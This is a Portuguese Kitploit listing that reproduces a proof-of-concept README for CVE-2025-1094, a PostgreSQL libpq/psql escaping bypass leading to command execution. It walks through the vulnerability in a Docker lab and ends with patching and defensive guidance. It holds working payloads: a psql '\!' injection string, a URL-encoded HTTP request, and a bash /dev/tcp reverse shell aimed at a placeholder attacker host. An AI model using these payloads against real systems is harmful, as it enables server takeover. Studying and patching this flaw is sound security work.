Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2025-1094 — Exploit de prova de conceito para CVE-2025-1094, uma injeção de SQL no psql do PostgreSQL levando a RCE via bypass de escape do libpq. Inclui ambiente Docker, script de exploit e orientação de mitigação. | Kitploit
Ferramentas/GitHubGitHub/trandonga3/poc-cve-2025-1094
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Exploit de prova de conceito para CVE-2025-1094, uma injeção de SQL no psql do PostgreSQL levando a RCE via bypass de escape do libpq. Inclui ambiente Docker, script de exploit e orientação de mitigação.

Ver Repositório
5há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

POC CVE-2025-1094: PostgreSQL psql SQL Injection

Proof of Concept para a vulnerabilidade grave de SQL Injection no cliente libpq e na ferramenta psql do PostgreSQL

📋 Índice

  1. Introdução à vulnerabilidade
  2. Estrutura de diretórios do projeto
  3. Análise do Payload de ataque
  4. Guia de utilização
  5. Como corrigir e prevenir

1. Introdução à vulnerabilidade

Descrição geral

CVE-2025-1094 é uma vulnerabilidade grave localizada na biblioteca cliente libpq e na ferramenta de linha de comando psql do PostgreSQL. Esta vulnerabilidade permite que um atacante realize SQL Injection e evolua para Execução Remota de Código (RCE) mesmo quando a aplicação já utiliza funções de escape de strings padrão como PQescapeLiteral.

Causa raiz

O erro surge da inconsistência no processamento de strings de bytes multibyte inválidos (como UTF-8) entre a biblioteca de escape e o analisador sintático do psql.

Dois mecanismos principais de ataque:

1. Bypass Escaping

  • A função PQescapeLiteral é enganada por um "novo byte" (ex. 0xC0)
  • Ela considera este byte e a aspa simples (') adjacente como um único caractere
  • Resultando em não escapar essa aspa simples

2. RCE via Meta-commands

  • Quando esta string defeituosa é inserida na ferramenta psql
  • O atacante pode escapar da instrução SQL e usar o comando de sistema \! do psql
  • Permitindo executar comandos shell arbitrários no servidor

2. Estrutura de diretórios do projeto

O projeto está organizado para simular um ambiente realista ao chamar a função C libpq:

.
├── docker-compose.yml       # Iniciar PostgreSQL + Web App
├── exolit.py               # Script de exploit - Ataque externo
├── README.md               # Este documento
└── app/
    ├── app.py             # Flask Web App - Recebe input do utilizador
    ├── Dockerfile         # Construir imagem com código vulnerável
    └── init_db.sql        # Inicializar base de dados

Componentes principais:

  • Flask Web App: Recebe input do utilizador através do endpoint /search
  • libpq C Function: Processa a query SQL mas não verifica bytes válidos
  • psql Meta-commands: Permite executar comandos de sistema através de \!
  • Subprocess Pipe: A aplicação envia a instrução SQL para psql via stream de input

3. Análise do Payload de ataque

Payload de exemplo

hax\xc0'; \! id; #

Decodificação de cada componente:

ComponenteValorSignificado
Entrada de dadoshaxDados normais comuns
Novo byte\xc0Byte UTF-8 inválido - bypass do escaping
Aspas'Aspa simples "invisível" - passa pelo filtro
Fim do SQL;Termina a instrução SQL atual
Meta-comando\!Comando especial do psql - sai para o Shell do SO
Comando shellidComando a executar (pode ser substituído por reverse shell)
Comentário#Comentário SQL - invalida o restante

Processo de execução:

1. Input do utilizador: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() não reconhece \xc0 + ' como ataque
   ↓
3. String enviada para psql: hax\xc0'; \! id; #
   ↓
4. psql analisa: \xc0 é considerado fim da string
   ↓
5. Meta-comando \! é ativado
   ↓
6. Comando shell id é executado com privilégios do container

4. Guia de utilização

Método 1: Usar Docker Compose (Recomendado)

Passo 1: Iniciar o ambiente

docker-compose up -d

Passo 2: Aguardar os containers iniciarem

docker-compose ps

Certifique-se de que tanto o PostgreSQL quanto a aplicação Flask estão em execução.

Passo 3: Executar o exploit

python exolit.py

Resultado esperado: Exibirá informação uid=0(root) obtida do servidor

Passo 4: Parar o ambiente

docker-compose down

Método 2: Usar Burp Suite (Manual)

Enviar HTTP Request

Envie um request POST para /search com o seguinte body:

name=hax%c0%27;+\!+id+;+%23

URL Encoding de referência:

  • %c0 = \xc0 (byte UTF-8 inválido)
  • %27 = ' (aspa simples)
  • %23 = # (hash)
  • + = espaço

Payload de Reverse Shell:

hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Nota: Substitua <ip-hacker> e <port-hacker> pelo IP e porta da máquina atacante


5. Como corrigir e prevenir

A. Atualizar o patch

Atualize o PostgreSQL para as versões corrigidas:

VersãoVersão segura
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Verificar codificação

Sempre valide se os dados de entrada são UTF-8 válidos antes de processar:

def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Limitar o uso do psql CLI

Na programação de aplicações, utilize as bibliotecas driver oficiais:

# ❌ NÃO: Usar subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ SIM: Usar queries parametrizadas com psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Princípio do menor privilégio

  • Não execute a Web App como root
  • Não execute a Base de Dados como root
  • Utilize um utilizador dedicado com permissões mínimas

E. Regras de WAF / IDS

Configure regras para detetar padrões:

- Byte 0xC0, 0xC1 no corpo do request
- Meta-comando `\!` no input do utilizador
- Strings como `; \!` ou `' \!`

📚 Referências

  1. Link para o arquivo de código-fonte (Antes do patch) Pode ver o arquivo src/interfaces/libpq/fe-exec.c na versão 17.2 (versão ainda vulnerável):

    • Link GitHub: PostgreSQL fe-exec.c na tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Função importante: Procure a função PQescapeStringInternal (geralmente a partir da linha 3400). Esta é a função "núcleo" que tanto PQescapeLiteral quanto PQescapeString chamam.
  2. Ver o "Patch" (The Patch) - Mais importante para White-box Para entender por que houve erro e como corrigiram, a melhor forma é ver o Commit Diff (a mudança entre a versão vulnerável e corrigida).

    • Link do Commit oficial: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Artigo de análise da vulnerabilidade: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/


Baixar ferramenta